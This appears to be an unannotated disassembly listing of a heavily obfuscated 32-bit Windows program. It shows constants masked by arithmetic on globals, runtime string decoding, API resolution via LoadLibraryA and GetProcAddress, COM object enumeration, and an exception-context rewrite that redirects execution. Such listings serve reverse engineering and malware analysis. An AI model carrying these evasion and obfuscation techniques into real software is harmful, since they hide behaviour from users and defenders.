sub eax, 8
cmp ebx, eax
jnz loc_43FE3E
movsx eax, word_44B0C8
sub eax, 7
mov [ebp+var_30E50], eax
jmp loc_43FE2C
; ---------------------------------------------------------------------------
loc_43F508: ; CODE XREF: sub_43F0EA+D4Ej
mov [ebp+var_60ED0], 2
mov eax, [ebp+var_30E50]
mov [ebp+var_60EC8], eax
movsx eax, word_44B0B0
mov edx, dword_44B198
sub edx, 8
mov [ebp+eax+var_50EA3], dl
lea eax, [ebp+var_60EC0]
push eax
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_30E54]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, dword_44B108
add eax, dword_44B094
sub eax, 6
cmp ebx, eax
jnz loc_43FE26
push offset dword_44C260
call sub_4424C1
push [ebp+var_30E50]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_44A634
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_445020
add esp, 18h
and [ebp+var_60ED4], 0
lea eax, [ebp+var_60ED4]
push eax
push offset dword_44C90C
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44B1A0
sub eax, 6
cmp ebx, eax
jnz loc_43FAAA
lea eax, [ebp+var_60ED8]
push eax
mov eax, [ebp+var_60ED4]
push eax
mov edi, [eax]
call dword ptr [edi+0F0h]
mov ebx, eax
mov eax, dword_44B0A4
add eax, dword_44B0F0
sub eax, 6
cmp ebx, eax
jnz loc_43FA9E
lea eax, [ebp+var_60E9F]
push eax
push [ebp+var_60ED8]
call sub_43A9C0
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_60EB8], edi
push [ebp+var_60ED8]
call ds:dword_44ABA0
mov eax, dword_44B14C
movsx edx, word_44B1A8
add eax, edx
sub eax, 6
mov [ebp+var_40E9C], eax
jmp short loc_43F6B2
; ---------------------------------------------------------------------------
loc_43F65E: ; CODE XREF: sub_43F0EA+5D4j
mov eax, [ebp+var_40E9C]
movsx eax, [ebp+eax+var_60E9F]
mov edx, dword_44B0A0
add edx, 6
movsx ecx, word_44B148
add edx, ecx
cmp eax, edx
jz short loc_43F695
mov edx, dword_44B108
add edx, 0Ah
add edx, dword_44B1A4
cmp eax, edx
jnz short loc_43F6AC
loc_43F695: ; CODE XREF: sub_43F0EA+596j
mov eax, [ebp+var_40E9C]
movsx edx, word_44B0F4
sub edx, 9
mov [ebp+eax+var_60E9F], dl
loc_43F6AC: ; CODE XREF: sub_43F0EA+5A9j
inc [ebp+var_40E9C]
loc_43F6B2: ; CODE XREF: sub_43F0EA+572j
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb short loc_43F65E
lea eax, [ebp+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_444B60
mov eax, dword_44B0F0
add eax, dword_44B130
sub eax, 4
mov [ebp+var_40E9C], eax
loc_43F6E7: ; CODE XREF: sub_43F0EA+737j
mov eax, [ebp+var_40E9C]
lea ecx, [ebp+eax+var_60E9F]
or eax, 0FFFFFFFFh
loc_43F6F7: ; CODE XREF: sub_43F0EA+612j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F6F7
mov [ebp+var_60EA8], eax
mov edx, dword_44B0FC
sub edx, 7
cmp eax, edx
jz short loc_43F727
mov edx, dword_44B094
add edx, 0BFh
add edx, dword_44B0A8
cmp eax, edx
jbe short loc_43F72C
loc_43F727: ; CODE XREF: sub_43F0EA+625j
jmp loc_43F7FE
; ---------------------------------------------------------------------------
loc_43F72C: ; CODE XREF: sub_43F0EA+63Bj
mov eax, dword_44B0EC
add eax, dword_44B098
sub eax, 0Ch
mov [ebp+var_60EA4], eax
jmp short loc_43F76F
; ---------------------------------------------------------------------------
loc_43F742: ; CODE XREF: sub_43F0EA+691j
mov eax, [ebp+var_40E9C]
add eax, [ebp+var_60EA4]
movsx eax, [ebp+eax+var_60E9F]
mov edx, dword_44B1C4
add edx, 19h
add edx, dword_44B0E4
cmp eax, edx
jnz short loc_43F77D
inc [ebp+var_60EA4]
loc_43F76F: ; CODE XREF: sub_43F0EA+656j
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jb short loc_43F742
loc_43F77D: ; CODE XREF: sub_43F0EA+67Dj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jz short loc_43F7FE
push dword_44B0CC
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_43D744
add esp, 0Ch
mov [ebp+var_60EDC], eax
movsx eax, word_44B128
add eax, 0FFFFh
cmp [ebp+var_60EDC], eax
jnz short loc_43F7FE
push offset byte_44C25B
call sub_4424C1
push eax
lea edi, [ebp+var_50E9B]
push edi
call ds:dword_445020
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call ds:dword_445020
add esp, 14h
loc_43F7FE: ; CODE XREF: sub_43F0EA:loc_43F727j
; sub_43F0EA+69Fj ...
mov eax, [ebp+var_60EA8]
mov edx, dword_44B0FC
sub edx, 6
add eax, edx
add [ebp+var_40E9C], eax
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb loc_43F6E7
movsx eax, word_44B100
add eax, dword_44B1B4
sub eax, 0Ah
mov [ebp+var_60EB4], eax
lea ecx, [ebp+var_50E9B]
or eax, 0FFFFFFFFh
loc_43F846: ; CODE XREF: sub_43F0EA+761j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F846
mov [ebp+var_60EA8], eax
mov eax, dword_44B1C8
add eax, dword_44B164
sub eax, 2
mov [ebp+var_40E9C], eax
jmp loc_43FA76
; ---------------------------------------------------------------------------
loc_43F86C: ; CODE XREF: sub_43F0EA+998j
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, dword_44B17C
add edx, 1Ah
cmp eax, edx
jz short loc_43F88E
and [ebp+var_60EAC], 0
loc_43F88E: ; CODE XREF: sub_43F0EA+79Bj
mov eax, dword_44B15C
mov edx, [ebp+var_40E9C]
movzx edx, [ebp+edx+var_50E9B]
lea eax, [eax+eax+18h]
cmp edx, eax
jnz loc_43FA21
mov eax, dword_44B130
add eax, dword_44B0E4
sub eax, 2
cmp [ebp+var_40E9C], eax
jbe loc_43F97D
mov eax, [ebp+var_40E9C]
movsx edx, word_44B0B0
movsx ecx, word_44B170
add edx, ecx
sub edx, 0Fh
sub eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, dword_44B0FC
add edx, 13h
movsx ecx, word_44B0DC
add edx, ecx
cmp eax, edx
jle short loc_43F91F
mov edx, dword_44B140
add edx, 24h
add edx, dword_44B1AC
cmp eax, edx
jl short loc_43F973
loc_43F91F: ; CODE XREF: sub_43F0EA+820j
movzx eax, [ebp+var_60EDD]
mov edx, dword_44B17C
add edx, 30h
movsx ecx, word_44B148
add edx, ecx
cmp eax, edx
jle short loc_43F951
movsx edx, word_44B1BC
mov ecx, dword_44B1B0
lea edx, [edx+ecx+3Bh]
cmp eax, edx
jl short loc_43F973
loc_43F951: ; CODE XREF: sub_43F0EA+850j
movzx eax, [ebp+var_60EDD]
mov edx, dword_44B1C0
add edx, 77h
cmp eax, edx
jle short loc_43F97D
movsx edx, word_44B148
add edx, 7Ch
cmp eax, edx
jge short loc_43F97D
loc_43F973: ; CODE XREF: sub_43F0EA+833j
; sub_43F0EA+865j
mov [ebp+var_60EAC], 1
loc_43F97D: ; CODE XREF: sub_43F0EA+7D7j
; sub_43F0EA+879j ...
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jnb loc_43FA21
mov eax, [ebp+var_40E9C]
mov edx, dword_44B104
sub edx, 2
add eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
movsx edx, word_44B100
add edx, 17h
cmp eax, edx
jle short loc_43F9CF
mov edx, dword_44B1B8
add edx, 2Dh
cmp eax, edx
jl short loc_43FA17
loc_43F9CF: ; CODE XREF: sub_43F0EA+8D6j
movzx eax, [ebp+var_60EDD]
mov edx, dword_44B0F8
add edx, 37h
cmp eax, edx
jle short loc_43F9F0
mov edx, dword_44B0A4
add edx, 3Fh
cmp eax, edx
jl short loc_43FA17
loc_43F9F0: ; CODE XREF: sub_43F0EA+8F7j
movzx eax, [ebp+var_60EDD]
mov edx, dword_44B1B4
add edx, 75h
add edx, dword_44B0F0
cmp eax, edx
jle short loc_43FA21
mov edx, dword_44B15C
add edx, 7Bh
cmp eax, edx
jge short loc_43FA21
loc_43FA17: ; CODE XREF: sub_43F0EA+8E3j
; sub_43F0EA+904j
mov [ebp+var_60EAC], 1
loc_43FA21: ; CODE XREF: sub_43F0EA+7BDj
; sub_43F0EA+89Fj ...
cmp [ebp+var_60EAC], 0
jnz short loc_43FA4A
mov eax, [ebp+var_60EB4]
mov edx, [ebp+var_40E9C]
mov dl, [ebp+edx+var_50E9B]
mov [ebp+eax+var_50E9B], dl
inc [ebp+var_60EB4]
loc_43FA4A: ; CODE XREF: sub_43F0EA+93Ej
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
movsx edx, word_44B0D8
add edx, 1Bh
cmp eax, edx
jnz short loc_43FA70
mov [ebp+var_60EAC], 1
loc_43FA70: ; CODE XREF: sub_43F0EA+97Aj
inc [ebp+var_40E9C]
loc_43FA76: ; CODE XREF: sub_43F0EA+77Dj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jb loc_43F86C
mov eax, [ebp+var_60EB4]
mov edx, dword_44B190
sub edx, 3
mov [ebp+eax+var_50E9B], dl
loc_43FA9E: ; CODE XREF: sub_43F0EA+52Bj
mov eax, [ebp+var_60ED4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43FAAA: ; CODE XREF: sub_43F0EA+4FDj
and [ebp+var_60EB0], 0
lea eax, [ebp+var_60EB0]
push eax
push offset dword_44C92C
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44B188
add eax, dword_44B14C
sub eax, 6
cmp ebx, eax
jnz loc_43FDBC
lea eax, [ebp+var_60EBC]
push eax
mov eax, [ebp+var_60EB0]
push eax
mov edi, [eax]
call dword ptr [edi+6Ch]
mov ebx, eax
movsx eax, word_44B0E0
cmp ebx, eax
jnz loc_43FDB0
mov eax, dword_44B1B0
mov [ebp+var_50EA0], eax
jmp loc_43FD9E
; ---------------------------------------------------------------------------
loc_43FB19: ; CODE XREF: sub_43F0EA+CC0j
movsx eax, word_44B090
dec eax
push eax
call ds:dword_44A630
pop ecx
mov [ebp+var_70F08], 2
mov eax, [ebp+var_50EA0]
mov [ebp+var_70F00], eax
lea eax, [ebp+var_70EF8]
push eax
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_60EB0]
push edi
mov edi, [edi]
call dword ptr [edi+74h]
mov ebx, eax
movsx eax, word_44B128
movsx edx, word_44B0D8
add eax, edx
sub eax, 5
cmp ebx, eax
jnz loc_43FD98
and [ebp+var_70EF4], 0
lea eax, [ebp+var_70EF4]
push eax
push offset dword_44C90C
mov eax, [ebp+var_70EF8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44B118
movsx edx, word_44B0D8
add eax, edx
sub eax, 6
cmp ebx, eax
jnz loc_43FD8C
lea eax, [ebp+var_60EF0]
push eax
mov eax, dword_44B1B8
movsx edx, word_44B168
add eax, edx
sub eax, 0Bh
push eax
push [ebp+var_30E44]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
or ebx, ebx
jnz short loc_43FC0B
cmp [ebp+var_60EF0], 8
jz short loc_43FC10
loc_43FC0B: ; CODE XREF: sub_43F0EA+B15j
jmp loc_43FD80
; ---------------------------------------------------------------------------
loc_43FC10: ; CODE XREF: sub_43F0EA+B1Fj
mov eax, dword_44B1AC
add eax, dword_44B1C4
mov edx, dword_44B0A0
sub edx, 4
mov byte ptr [ebp+eax+var_70EF8], dl
lea eax, [ebp+var_70EEF]
push eax
push [ebp+var_60EE8]
call sub_43A9C0
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_71F0C], edi
push [ebp+var_60EE8]
call ds:dword_44ABA0
movsx eax, word_44B0BC
movsx eax, byte ptr [ebp+eax+var_70EF8]
movsx edx, word_44B0C8
movsx ecx, word_44B170
add edx, ecx
sub edx, 0Fh
cmp eax, edx
jz loc_43FD80
push [ebp+var_30E4C]
lea eax, [ebp+var_70EEF]
push eax
call sub_44108E
add esp, 8
lea eax, [ebp+var_60EF0]
push eax
mov eax, dword_44B0A0
sub eax, 4
push eax
push [ebp+var_30E48]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_44B098
mov edx, dword_44B144
add edx, dword_44B1B4
sub edx, 6
mov [ebp+eax+var_71F0E], dl
or ebx, ebx
jnz short loc_43FD0B
cmp [ebp+var_60EF0], 8
jnz short loc_43FD0B
lea eax, [ebp+var_71F07]
push eax
push [ebp+var_60EE8]
call sub_43A9C0
add esp, 8
mov edi, eax
inc edi
mov [ebp-71F10h], edi
push [ebp+var_60EE8]
call ds:dword_44ABA0
loc_43FD0B: ; CODE XREF: sub_43F0EA+BEBj
; sub_43F0EA+BF5j
push offset byte_44C253
call sub_4424C1
push [ebp+var_50EA0]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_44A634
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_445020
lea eax, [ebp+var_71F07]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_445020
push offset word_44C24E
call sub_4424C1
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_445020
lea eax, [ebp+var_70EEF]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_445020
add esp, 34h
loc_43FD80: ; CODE XREF: sub_43F0EA:loc_43FC0Bj
; sub_43F0EA+B8Fj
mov eax, [ebp+var_70EF4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43FD8C: ; CODE XREF: sub_43F0EA+AE0j
mov eax, [ebp+var_70EF8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43FD98: ; CODE XREF: sub_43F0EA+AA2j
inc [ebp+var_50EA0]
loc_43FD9E: ; CODE XREF: sub_43F0EA+A2Aj
mov eax, [ebp+var_60EBC]
cmp [ebp+var_50EA0], eax
jb loc_43FB19
loc_43FDB0: ; CODE XREF: sub_43F0EA+A19j
mov eax, [ebp+var_60EB0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43FDBC: ; CODE XREF: sub_43F0EA+9F5j
mov eax, [ebp+var_60EC0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
movzx eax, [ebp+var_50E9B]
mov edx, dword_44B0F8
movsx ecx, word_44B180
add edx, ecx
sub edx, 8
cmp eax, edx
jz short loc_43FE26
push offset byte_44C24B
lea eax, [ebp+var_30D40]
push eax
call ds:dword_445020
lea eax, [ebp+var_50E9B]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_445020
push offset word_44C246
call sub_4424C1
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_445020
add esp, 1Ch
loc_43FE26: ; CODE XREF: sub_43F0EA+493j
; sub_43F0EA+CF9j
inc [ebp+var_30E50]
loc_43FE2C: ; CODE XREF: sub_43F0EA+419j
mov eax, [ebp+var_30E58]
cmp [ebp+var_30E50], eax
jb loc_43F508
loc_43FE3E: ; CODE XREF: sub_43F0EA+292j
; sub_43F0EA+31Fj ...
inc [ebp+var_40E5C]
mov eax, [ebp+var_40E90]
cmp [ebp+var_40E5C], eax
jl loc_43F32F
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44A62C
pop ecx
push [ebp+var_30E44]
call ds:dword_44ABA0
push [ebp+var_30E48]
call ds:dword_44ABA0
loc_43FE7C: ; CODE XREF: sub_43F0EA+1E5j
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43FE88: ; CODE XREF: sub_43F0EA+1BAj
mov eax, [ebp+var_40E6C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43FE94: ; CODE XREF: sub_43F0EA+195j
mov eax, [ebp+var_40E68]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43FEA0: ; CODE XREF: sub_43F0EA+B9j
; sub_43F0EA:loc_43F1F7j ...
mov eax, [ebp+var_40E64]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43FEAC: ; CODE XREF: sub_43F0EA+53j
; sub_43F0EA+96j
pop edi
pop esi
pop ebx
leave
retn
sub_43F0EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FEB1 proc near ; CODE XREF: sub_442C0A+244p
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = word ptr -38h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
movsx eax, word_44B148
sub eax, 3
mov [ebp+var_4], eax
jmp short loc_43FEDF
; ---------------------------------------------------------------------------
loc_43FEC9: ; CODE XREF: sub_43FEB1+3Bj
mov eax, 30h
mul [ebp+var_4]
mov [ebp+var_20], eax
and ds:dword_448370[eax], 0
inc [ebp+var_4]
loc_43FEDF: ; CODE XREF: sub_43FEB1+16j
movsx eax, word_44B194
add eax, 64h
cmp [ebp+var_4], eax
jb short loc_43FEC9
push 0
call ds:dword_4470D0
push offset dword_44B2D4
push offset dword_44C95C
push 7
push 0
push offset dword_44C89C
call ds:dword_447620
mov ebx, eax
movsx eax, word_44B0B0
movsx edx, word_44B0E0
add eax, edx
sub eax, 8
cmp ebx, eax
jnz loc_4400DB
lea eax, [ebp+var_C]
push eax
mov eax, dword_44B2D4
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov ebx, eax
movsx eax, word_44B19C
add eax, dword_44B188
sub eax, 6
cmp ebx, eax
jnz short loc_43FF67
mov eax, dword_44B0C0
movsx edx, word_44B0DC
add eax, edx
sub eax, 7
cmp [ebp+var_C], eax
jnz short loc_43FF6C
loc_43FF67: ; CODE XREF: sub_43FEB1+9Ej
jmp loc_440073
; ---------------------------------------------------------------------------
loc_43FF6C: ; CODE XREF: sub_43FEB1+B4j
mov eax, dword_44B12C
add eax, dword_44B13C
sub eax, 7
mov [ebp+var_8], eax
jmp loc_440067
; ---------------------------------------------------------------------------
loc_43FF82: ; CODE XREF: sub_43FEB1+1BCj
mov [ebp+var_38], 3
mov eax, [ebp+var_8]
mov [ebp+var_30], eax
lea eax, [ebp+var_3C]
push eax
lea esi, [ebp+var_38]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, dword_44B2D4
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
cmp ebx, dword_44B130
jnz loc_440064
lea eax, [ebp+var_40]
push eax
push offset dword_44C97C
mov eax, [ebp+var_3C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44B1CC
movsx edx, word_44B0D8
add eax, edx
sub eax, 9
cmp ebx, eax
jnz short loc_44005B
lea eax, off_44B2D0
mov [ebp+var_24], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_44]
push eax
push offset dword_44C8BC
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_44B194
movsx edx, word_44B180
add eax, edx
sub eax, 6
cmp ebx, eax
jnz short loc_440049
lea eax, [ebp+var_48]
push eax
push offset dword_44C8BC
push [ebp+var_44]
push [ebp+var_40]
call sub_4434B2
add esp, 10h
mov [ebp+var_4C], eax
mov eax, [ebp+var_44]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_440049: ; CODE XREF: sub_43FEB1+173j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_44005B: ; CODE XREF: sub_43FEB1+135j
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_440064: ; CODE XREF: sub_43FEB1+104j
inc [ebp+var_8]
loc_440067: ; CODE XREF: sub_43FEB1+CCj
mov eax, [ebp+var_C]
cmp [ebp+var_8], eax
jb loc_43FF82
loc_440073: ; CODE XREF: sub_43FEB1:loc_43FF67j
lea eax, off_44B2F4
mov [ebp+var_10], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_14]
push eax
push offset dword_44C8AC
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr ds:0[esi]
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr [esi+8]
lea eax, [ebp+var_1C]
push eax
push offset dword_44C8AC
push [ebp+var_14]
push dword_44B2D4
call sub_4434B2
add esp, 10h
mov [ebp+var_18], eax
movsx ecx, word_44B0D0
cmp eax, ecx
jnz short loc_4400DB
mov eax, dword_44B2D4
push eax
mov esi, [eax]
call dword ptr [esi+8]
and dword_44B2D4, 0
loc_4400DB: ; CODE XREF: sub_43FEB1+75j
; sub_43FEB1+216j
pop edi
pop esi
pop ebx
leave
retn
sub_43FEB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4400E0 proc near ; DATA XREF: .data:off_44B294o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_44C96C
push esi
call ds:dword_44A644
or eax, eax
jz short loc_44010C
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_440154
; ---------------------------------------------------------------------------
loc_44010C: ; CODE XREF: sub_4400E0+1Aj
push offset dword_44C8EC
push esi
call ds:dword_44A644
or eax, eax
jz short loc_44012C
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_440154
; ---------------------------------------------------------------------------
loc_44012C: ; CODE XREF: sub_4400E0+3Aj
push offset dword_44C8CC
push esi
call ds:dword_44A644
or eax, eax
jz short loc_44014C
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_440154
; ---------------------------------------------------------------------------
loc_44014C: ; CODE XREF: sub_4400E0+5Aj
and dword ptr [edi], 0
mov eax, 80004002h
loc_440154: ; CODE XREF: sub_4400E0+2Aj
; sub_4400E0+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_4400E0 endp
; =============== S U B R O U T I N E =======================================
sub_44015B proc near ; CODE XREF: sub_442C0A+2Fp
push edi
push offset word_44C236
call sub_4424C1
pop ecx
push eax
call ds:dword_4475E8 ; GetModuleHandleA
mov dword_44B1F8, eax
test eax, eax
jnz short loc_44018E
push offset word_44C226
call sub_4424C1
pop ecx
push eax
call ds:dword_448244 ; LoadLibraryA
mov dword_44B1F8, eax
loc_44018E: ; CODE XREF: sub_44015B+1Aj
push offset byte_44C215
call sub_4424C1
push eax
push dword_44B1F8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_4475EC, eax
push offset byte_44C201
call sub_4424C1
push eax
push dword_44B1F8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44503C, eax
push offset word_44C1F2
call sub_4424C1
add esp, 0Ch
push eax
push dword_44B1F8
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_44A618, eax
pop edi
retn
sub_44015B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4401E7 proc near ; DATA XREF: sub_43B4C6+Bo
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
mov esi, [ebp+arg_8]
mov eax, offset sub_442652
mov [esi+0B8h], eax
mov eax, [ebp+arg_4]
mov [esi+0C4h], eax
popa
mov esp, ebp
pop ebp
xor eax, eax
retn
sub_4401E7 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44020A proc near ; DATA XREF: .data:0044B2BCo
push ebp
mov ebp, esp
mov eax, dword_44B18C
dec eax
cmp ds:dword_44ABA8, eax
jbe short loc_440226
push offset dword_44ABA8
call ds:dword_445010 ; InterlockedDecrement
loc_440226: ; CODE XREF: sub_44020A+Fj
mov eax, ds:dword_44ABA8
pop ebp
retn 4
sub_44020A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44022F proc near ; CODE XREF: sub_43E1CC+C2p
; sub_43E1CC+FFp ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 2Bh
mov edx, 2FA0BE83h
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
mov ebx, edi
mov [ebp+arg_0], bl
movzx eax, [ebp+arg_0]
mov edx, dword_44B1B4
add edx, dword_44B0B8
sub edx, 5
cmp eax, edx
jnz short loc_440273
mov eax, 65h
jmp loc_4402FA
; ---------------------------------------------------------------------------
loc_440273: ; CODE XREF: sub_44022F+38j
movzx eax, [ebp+arg_0]
mov edx, dword_44B0B8
movsx ecx, word_44B0F4
add edx, ecx
sub edx, 0Ch
cmp eax, edx
jnz short loc_440294
mov eax, 79h
jmp short loc_4402FA
; ---------------------------------------------------------------------------
loc_440294: ; CODE XREF: sub_44022F+5Cj
movzx eax, [ebp+arg_0]
movsx edx, word_44B0E0
add edx, 2
cmp eax, edx
jnz short loc_4402AD
mov eax, 75h
jmp short loc_4402FA
; ---------------------------------------------------------------------------
loc_4402AD: ; CODE XREF: sub_44022F+75j
movzx eax, [ebp+arg_0]
mov edx, dword_44B1B0
add edx, dword_44B1C4
sub edx, 2
cmp eax, edx
jnz short loc_4402CB
mov eax, 69h
jmp short loc_4402FA
; ---------------------------------------------------------------------------
loc_4402CB: ; CODE XREF: sub_44022F+93j
movzx eax, [ebp+arg_0]
movsx edx, word_44B1BC
sub edx, 2
cmp eax, edx
jnz short loc_4402E4
mov eax, 6Fh
jmp short loc_4402FA
; ---------------------------------------------------------------------------
loc_4402E4: ; CODE XREF: sub_44022F+ACj
movzx eax, [ebp+arg_0]
mov edx, dword_44B0FC
sub edx, 2
cmp eax, edx
jnz short loc_4402FA
mov eax, 61h
loc_4402FA: ; CODE XREF: sub_44022F+3Fj
; sub_44022F+63j ...
pop edi
pop ebx
leave
retn
sub_44022F endp
; =============== S U B R O U T I N E =======================================
sub_4402FE proc near ; DATA XREF: .data:0044B2A8o
mov eax, 80004001h
retn 18h
sub_4402FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440306 proc near ; DATA XREF: sub_442C0A+F8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push edi
mov eax, [ebp+arg_4]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_447614 ; DefWindowProcA
pop edi
pop ebp
retn 10h
sub_440306 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440324 proc near ; DATA XREF: .data:0044B2F0o
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
mov eax, dword_44B0AC
add eax, 0C5h
cmp [ebp+arg_4], eax
jnz loc_44044B
mov [ebp+var_18], 3
lea eax, [ebp+var_10]
push eax
mov eax, dword_44B2D4
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov [ebp+var_4], eax
movsx eax, word_44B16C
add eax, dword_44B1A0
sub eax, 0Ah
cmp [ebp+var_4], eax
jnz loc_440447
dec [ebp+var_10]
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, dword_44B2D4
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov [ebp+var_4], eax
mov eax, dword_44B0B4
sub eax, 8
cmp [ebp+var_4], eax
jnz loc_440447
